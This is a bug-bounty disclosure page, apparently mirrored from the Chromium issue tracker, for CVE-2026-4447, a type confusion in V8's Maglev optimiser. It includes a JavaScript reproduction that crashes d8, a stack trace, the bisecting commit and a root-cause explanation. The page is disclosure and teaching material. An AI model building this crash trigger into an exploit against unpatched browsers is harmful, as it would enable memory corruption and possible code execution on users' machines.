Skip to content
Memory corruption Advisory Advanced CVE-2026-4447

Inappropriate implementation in V8 (CVE-2026-4447)

A V8 compiler bug causes a type confusion in the Maglev optimiser: a value assumed to be a HeapNumber can become a Smi after phi untagging, leading to a crash in the write barrier. An attacker could potentially exploit this to cause a denial of service or possibly achieve code execution.

Erge Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 24 days

VERSION

V8 Git Commit: c0a41078e69f23668c8d34c61f286a1b5b211f19

REPRODUCTION CASE

JavaScript
function make_heapnum(v) { const a=[1.1]; a[0]=v; return a[0]; }

const H0 = make_heapnum(-1.0);
const H1 = make_heapnum(-1.0);

function f(c, target) {
  let v = c ? H0 : H1;
  let y = v + 0.1;
  target.p = v;

  return y;
}

%PrepareFunctionForOptimization(f);

let target = {p:{x:1}};
f(0, target);

%OptimizeMaglevOnNextCall(f);
gc();

(f(1, target));

d8 --allow-natives-syntax --expose-gc x.js

stack trace:

Bash
Received signal 11 SEGV_ACCERR 7ea2fffc0000

==== C stack trace ===============================

out/fuzzbuild/d8(___interceptor_backtrace+0x46)[0x5ab1acf4fb36]
out/fuzzbuild/d8(+0x185b67f)[0x5ab1ad3fb67f]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x70ee6b645330]
[0x5ab1e00002f2]
[end of stack trace]
Segmentation fault

BISECT

commit 0111c795359d675cfa6522637b6a3a23a0c5f0ce
Author: Darius Mercadier <[email protected]>
Date:   Fri Sep 26 16:00:48 2025 +0200

    [turbolev] Less expensive WB for non-smis
    
    Bug: 431933185
    Change-Id: Ic26217550159c5168353d85ab42806733bb5037c
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6988732
    Reviewed-by: Victor Gomes <[email protected]>
    Auto-Submit: Darius Mercadier <[email protected]>
    Commit-Queue: Darius Mercadier <[email protected]>
    Cr-Commit-Position: refs/heads/main@{#102798}

VULNERABILITY DETAILS

In the repro, at graph-build time the store input is inferred as HeapNumber, therefore NodeTypeCanBe(..., kSmi) returns false, and value_can_be_smi=false is set.

After graph building, MaglevPhiRepresentationSelector runs and:

  • It untags the phi to Float64
  • Then re-tags it for the store using Float64ToTagged(kCanonicalizeSmi)
    • src/maglev/maglev-phi-representation-selector.cc:1355

That re-tagging can produce a Smi for integral floats inside the Smi range, which invalides the value_can_be_smi=false assumption which leads to a crash inside the optimized WB code for non-smi.

CREDIT INFORMATION

Reporter credit: Erge

The original report as published on the Chromium issue tracker, by Erge. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The Maglev phi representation selector re-tags a Float64 phi to a tagged value with Smi canonicalisation, producing a Smi even though the graph builder had inferred the value could not be a Smi, invalidating the earlier assumption.

Impact

The bug causes a segmentation fault in the V8 engine, which could lead to a denial of service or potentially be exploited for code execution.

What the attacker needed

Ability to run JavaScript in V8

How it was found

  1. Create a function that stores a value into an array and returns it, then call it with -1.0 to get two heap numbers.
  2. Define a function that selects one of the heap numbers based on a condition, adds 0.1, stores the value into a target object, and returns the sum.
  3. Prepare the function for optimisation, call it with the condition false, then optimise it with Maglev and trigger garbage collection.
  4. Call the function again with the condition true, causing a segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

V8 is the JavaScript engine in Chrome. It optimises code by making assumptions about types, like 'this number is stored as a heap object'. A bug in the optimiser breaks that assumption, causing the engine to crash. This is a memory safety issue that could be serious.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.